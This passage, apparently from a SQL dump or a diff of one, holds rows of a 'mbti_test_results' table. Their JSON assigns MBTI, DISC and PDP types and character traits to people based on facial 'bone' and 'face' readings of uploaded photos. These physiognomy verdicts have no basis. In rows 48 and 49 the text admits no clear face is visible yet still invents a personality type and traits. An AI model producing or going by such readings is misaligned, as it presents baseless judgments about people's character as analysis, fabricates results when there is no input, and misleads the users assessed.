\"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性而带理想主义色彩,兼具细腻感受力与长期规划能力,适合深度思考与稳健推进型发展道路。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏瘦长木形,骨感清晰而不突兀,骨肉比例匀称,耐力与持续投入度较佳,重谋划与内在驱动,外向冲劲相对收敛。\", \"faceAnalysis\": \"额头偏宽平顺,眼神内敛专注,鼻梁细直,嘴唇柔和含蓄,下巴略尖,整体给人安静理性、思考型与敏感细腻的气质。\", \"personalitySummary\": \"思维周密内敛,重视秩序与自我标准,对细节敏锐有审美与分析能力;做事前多思考规划,偏理性克制,有原则感与责任心。\"}', NULL, NULL, 1, 0, 200, NULL, 1772260992, 1772260992, 5, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (41, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"思维细腻安静内敛,重视长期规划与自我成长,擅长在独立空间中深度投入与持续精进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"面部骨感轻盈,骨肉均匀偏薄,五行偏木水形,格局重思考与审美,抗压方式以理性分析与回避消耗为主。\", \"faceAnalysis\": \"额头略高偏窄、眼神温和内收、鼻梁秀直、嘴唇柔和含蓄、下巴偏尖清秀,整体偏理性内向型气质。\", \"personalitySummary\": \"性格安静克制,敏感但自持,重视原则与边界。做事追求完美与效率,偏向独立思考与深度学习,人际温和有礼但不主动扩圈。\"}', NULL, NULL, 1, 0, 200, NULL, 1772261454, 1772261454, 5, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (42, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性而细腻,思维有规划感,重视内在价值与长远发展,适合深度型与创造型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨感清晰不外露,颧骨平稳不张扬,下颌线柔中带刚,格局偏谋划与思辨型。\", \"faceAnalysis\": \"额头顺展偏高,眼神内敛专注,鼻梁细直,唇形柔和含蓄,下巴略尖带韧性,整体气质清冷理性。\", \"personalitySummary\": \"性格安静克制,思考周密,有同理心与理想主义倾向,做事追求完善与长期价值,人际上保留度高但可靠度强。\"}', NULL, NULL, 1, 0, 200, NULL, 1772262532, 1772262532, 5, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (43, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻有规划,重内在标准与长期目标,适合深度研究与策略型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感清晰而不突兀,属木水形偏文质型,骨肉匀称,抗压方式以理性分析和持久稳守为主。\", \"faceAnalysis\": \"额头平顺饱满,眼神内敛专注,鼻梁秀直,嘴唇柔中带韧,整体五官清秀偏理性知性气质。\", \"personalitySummary\": \"内敛理智,情感深而不外露,做事有原则与规划感,重个人空间与思考深度,处事温和但内心主见坚定。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772263135, 1772263135, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (44, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性又具同理心,重视自我节奏与精神空间,适合深度思考与创意表达型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨骼纤细偏木形,骨肉匀称,颧骨不突下颌略尖,格局重思考与创意,偏谋划与独立完成型路线。\", \"faceAnalysis\": \"额头偏高顺滑、眼神内敛专注,鼻梁清秀,唇形柔和含蓄,整体给人安静理性、带距离感的气质。\", \"personalitySummary\": \"性格内向克制,思路细腻有逻辑,情绪稳定但不善外露,做事有计划感与完美倾向,人际上温和有分寸,重视边界与深度连接。\"}', NULL, NULL, 1, 0, 200, NULL, 1772263164, 1772263164, 5, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (45, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"思维细腻内敛,洞察力强,重视内在秩序与价值感,适合深度思考与长期规划型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨肉均匀不突兀,线条修长而不失韧性,决断偏稳健,抗压以内在消化和持久推进为主。\", \"faceAnalysis\": \"额头柔和偏高、眼神安静专注、鼻梁清秀、嘴唇自然内收,下巴略尖带柔韧感,整体显理性含蓄。\", \"personalitySummary\": \"性格安静理性,重视思考与自我空间,做事有计划、有责任感,人际中温和有边界,偏向深度创造与独立完成型任务。\"}', NULL, NULL, 1, 0, 100, NULL, 1772263566, 1772263566, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (46, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外柔内活,情感细腻,善于互动与激励他人,适合创造性与变化性的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2990992d5c7.81109795.jpg\"], \"boneAnalysis\": \"线条圆润偏水土形,骨感不强但肉感充足,气质温和包容,稳定安全,耐受与适应力良好。\", \"faceAnalysis\": \"圆润脸型与大眼清澈,神态单纯好奇,嘴部微翘显顺,人缘佳、亲和力强。\", \"personalitySummary\": \"外向热情,善于表达与倾听,重视情感连接与深度交流,富有想象力和创造力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772263697, 1772263697, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (47, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外柔内活,情感细腻,好奇心强,擅长与人连接并营造轻松氛围,适合创造性与互动性强的领域发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2990992d5c7.81109795.jpg\"], \"boneAnalysis\": \"线条圆润偏水土形,骨感不强而肉感充足,气质柔和包容,稳定安全,耐受力与环境适应力良好。\", \"faceAnalysis\": \"圆润脸型与大眼清澈,嘴部微翘,表情单纯好奇,整体给人温柔、亲近、无攻击感的印象。\", \"personalitySummary\": \"外向友好,内在敏感细腻,重视情感与深度交流;做事富有热情与创造力,乐于探索新事物并带动周围人。\"}', NULL, 38, 1, 1, 1, 1772263738, 1772263728, 1772263740, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (48, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"抽象思维突出,重视逻辑与系统性,擅长在不完整信息中构建结构化判断与远期规划。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9aca18e7.48721788.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ab4a1f8.33085619.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ac90d83.92949209.jpg\"], \"boneAnalysis\": \"由于无清晰头面部骨骼轮廓可见,只能假设其偏理性稳健型骨相,重视结构与秩序。\", \"faceAnalysis\": \"当前图片未呈现清晰人脸,仅见强光与天花板结构,无法进行具体面相部位分析。\", \"personalitySummary\": \"倾向独立思考与理性决策,偏内向克制,重视规则和系统,追求长期价值与持续优化。\"}', NULL, 40, 1, 1, 1, 1772273330, 1772273315, 1772273332, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (49, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、重视结构与规划,做事有节奏感和持久度,适合承担复杂决策与长期项目推进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a3b45.19754294.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91de049.43887143.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a7166.23669621.jpg\"], \"boneAnalysis\": \"面部骨相信息严重不足,仅见额区与侧面轮廓一角,暂以骨感偏分明、整体偏理性稳健气质作抽象模拟。\", \"faceAnalysis\": \"从现有画面仅能见少量发际与轮廓,无法完整依据传统面相做部位细分判断,只可保守推定为偏理性内敛气质。\", \"personalitySummary\": \"模拟类型偏内向思考者,重逻辑与系统性,行事谨慎务实,专注长期目标与专业深耕,在独立思考和策略规划中更能发挥优势。\"}', NULL, NULL, 1, 0, 1, NULL, 1772422915, 1772422915, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (50, 6, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 7}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-02T03:42:57.180Z\", \"confidence\": 100, \"completedAt\": \"2026-03-02T03:42:57.180Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 37, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 7, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 0, 0, NULL, NULL, 1772422977, 1772422977, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (51, 7, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性稳健、目标导向清晰,擅长规划与执行,在结构化环境中表现突出,具长远发展潜力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a51b2d7ce365.67901942.jpg\"], \"boneAnalysis\": \"骨相端正,颧鼻协调不突兀,颌骨结实承载力强,上停与中停均衡,属稳健开拓型格局,适合担纲核心责任。\", \"faceAnalysis\": \"额头平阔饱满,眉眼清晰专注,鼻梁端正略挺,嘴型收敛有度,下巴方正有力,整体显沉稳理性与执行力。\", \"personalitySummary\": \"思维缜密,有规划意识与责任感,行动节奏稳中有进,对目标坚持度高,处事理性克制,人际中略带距离感但可信赖。\"}', NULL, NULL, 1, 0, 1, NULL, 1772428086, 1772428086, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (52, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静克制,思维细腻深邃,兼具理性分析与温和共情,适合在稳定而需创意与规划的环境中长期深耕。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"面部骨量匀称偏纤细,为木水兼具之相,骨感不突兀而脉络清晰,格局重于思考与审美判断,擅长以柔性持续承压。\", \"faceAnalysis\": \"额头偏高饱满,眼神柔中带定,鼻梁清秀,唇形收敛,下巴略尖,整体给人理性内向、思路清晰而不张扬之感。\", \"personalitySummary\": \"内向深思型,重视原则与边界,做事有规划感与责任心;情绪外显不多却具同理心,人际偏安静克制,习惯以专业与作品说话。\"}', NULL, NULL, 1, 0, 2, NULL, 1772518933, 1772518933, 6, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (53, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、冷静克制,擅长体系化规划与长期布局,重视效率与结果。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏金水形,骨骼匀称不突兀,颧鼻稳而不霸,下颌承载力佳,上停清朗、中停坚实、下停厚稳,格局重在谋划与稳健推进。\", \"faceAnalysis\": \"额头饱满开阔,眉眼沉稳专注,鼻梁挺直收束有力,嘴型紧实偏直率,下颌轮廓清晰,整体给人理性克制、目标明确之感。\", \"personalitySummary\": \"内向理性,重视逻辑与结构,决策审慎而有主见;偏好独立思考与深度研究,人际保持适度距离,擅长在复杂情境中制定长期策略并稳步推进。\"}', NULL, NULL, 1, 0, 2, NULL, 1772520541, 1772520541, 6, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (54, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密果断,擅长抽象推演与系统规划,重视长期价值与可控风险。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏木金形,骨架清晰而不突兀,颧区略显力量但内敛,将军骨与下颌稳固,属稳健谋划型格局,重视结构与秩序。\", \"faceAnalysis\": \"额头饱满开阔,眼神专注内敛,鼻梁端正稳健,嘴型收敛有度,下巴轮廓分明,整体给人理性、克制且有主见的印象。\", \"personalitySummary\": \"性格独立冷静,逻辑感强,偏内向思考型,重视规则与效率,做事有计划、有原则,关注长期布局,社交上有边界感但可靠可信。\"}', NULL, 52, 1, 0, 200, NULL, 1772520586, 1772520593, 5, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (55, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性缜密、目标清晰,重视长期布局与系统性成就,兼具专注深耕与稳健掌控能力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨架端正紧致,五行为金水兼具,骨肉停匀,颧骨含而不露、下颌稳实,格局偏中高,宜以智谋统筹和专业深耕见长。\", \"faceAnalysis\": \"额头饱满开阔,眼神内敛而专注,鼻梁端正稳固,唇形收敛理性,下巴略方显坚毅,整体面相偏冷静克制。\", \"personalitySummary\": \"思维高度抽象与系统化,重逻辑与效率,做事有计划有节奏,人际交往内敛克制但可靠,擅在相对独立和高要求环境中发挥战略与专业优势。\"}', NULL, 54, 1, 0, 2, NULL, 1772520623, 1772523215, 6, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (56, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"思维谨慎稳健,重视现实与责任,做事有规划,能在长期项目和复杂环境中稳定推进目标。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e22245.39292597.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65eab8e8.93002415.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e87472.26700122.jpg\"], \"boneAnalysis\": \"骨相偏土金形,骨肉匀称略偏厚重,颧骨不张但有力,下颌承载感强,整体气质务实稳健,以守成见长。\", \"faceAnalysis\": \"额头宽平、眼神内敛稳定,鼻梁端正偏实,嘴型收敛,下颌与腮部较厚,整体表情克制理性。\", \"personalitySummary\": \"性格内敛理智,责任心强,重视规则和秩序,做事有条理有耐心,偏向深思熟虑后再行动,可靠可信,适合承担长期稳定而关键的职责。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535666, 1772535666, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (57, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"理性务实,思路清晰,重视责任与结果,适合承担长期稳定而高标准的工作任务。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf99ee6e38.59427615.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a061600.44383458.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg\"], \"boneAnalysis\": \"骨感含蓄不外露,颧骨内敛带角,面廓偏长方形,上停与中停协调,下颌骨线条清楚,属稳健持久型格局。\", \"faceAnalysis\": \"额头平阔顺正,眼神沉稳内敛,鼻梁端正,嘴型收敛,下巴略尖偏窄,整体五官紧致理性。\", \"personalitySummary\": \"性格内敛谨慎,有条理而重规则,做事稳妥细致,抗压能力佳但情绪表达节制,更偏向理性分析与实际成效。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535717, 1772535717, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (58, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"务实细致、思路清晰,责任感强,重视承诺与结果,适合稳健推进型工作与管理角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf99ee6e38.59427615.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a061600.44383458.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg\"], \"boneAnalysis\": \"骨相偏土金形,颧骨内敛不张扬,颌骨稳厚承载力佳,骨肉均衡,格局以稳健守成、注重长期积累见长。\", \"faceAnalysis\": \"额头开阔偏方,眼神凝定带戒心,鼻梁顺直山根清晰,嘴形收敛有度,下巴略方,整体给人理性稳重、做事有分寸感。\", \"personalitySummary\": \"性格内敛理性,重视秩序与规则,行事谨慎踏实,有担当不轻言放弃,对自己和他人要求较高,适合负责关键细节与长线项目。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535749, 1772535749, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (59, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、判断稳重,擅长规划与分析,重视长期价值与现实落地,适合在复杂环境中做决策与统筹。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd222d9d6.63864125.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd22f52f8.29998949.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd25fb710.46559655.jpg\"], \"boneAnalysis\": \"五行偏土金形,骨架端正不夸张,骨肉均衡偏含蓄,决断稳中带慎,抗压方式以冷静思考、稳健推进为主,擅长在中长期阶段持续发力。\", \"faceAnalysis\": \"额头较饱满,眼神内敛专注,鼻梁端正,嘴型收敛,下巴略内收但轮廓清晰,整体给人理性、稳重、审慎之感。\", \"personalitySummary\": \"性格内敛理性,重视逻辑与结构,做事先谋后动,偏好独立思考与深度研究,人际上有边界感但可靠度高,适合作为长期项目与关键事务的负责人。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535779, 1772535779, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (60, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向开朗,思维活跃,创意十足,擅长用幽默与热情影响他人,适合做连接人与资源的桥梁型角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"面部线条柔中带劲,骨感不重但轮廓清晰,属于火木偏盛之相,重在灵动与扩散影响力。\", \"faceAnalysis\": \"圆润额头与上扬眉眼给人亲和感和少年气,神态生动,情绪表达自然,善于拉近人际距离。\", \"personalitySummary\": \"重视兴趣与价值认同,直觉主导,点子多,表达欲强,乐于社交与分享,喜欢在轻松自由的环境中高效输出。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772607899, 1772607899, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (61, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向热情,创意十足,善于沟通与启发他人,适合需要人际互动和创意表达的领域。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相柔中带刚,上庭开朗,中停丰盈,下停稳实,整体气质活跃而不失稳定支撑。\", \"faceAnalysis\": \"五官圆润亲和,笑意明显,整体给人开放友善、易于接近且富有幽默感的印象。\", \"personalitySummary\": \"思维发散、有想象力,重视情感与价值认同,人际表达自然灵活,乐于尝试新事物并激发团队氛围。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772608243, 1772608243, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (62, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向开朗,思维活跃,有创意与感染力,适合做连接人与资源的桥梁型角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"上停饱满、颧区柔和不突,中停与下停过渡圆顺,骨感适中,重在亲和力与适配力而非强势掌控。\", \"faceAnalysis\": \"额头圆润开阔,眼神生动带笑,嘴角上扬,整体给人亲切乐观、灵动机敏的印象。\", \"personalitySummary\": \"性格热情真诚,富有好奇心与想象力,乐于表达与分享,善于激励他人与营造轻松氛围,创意多且点子活跃。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772608768, 1772608768, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (63, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向热情、思维活跃,善于启发他人与整合资源,适合在变化环境中发挥影响力与创造力。\", \"photoUrls\": 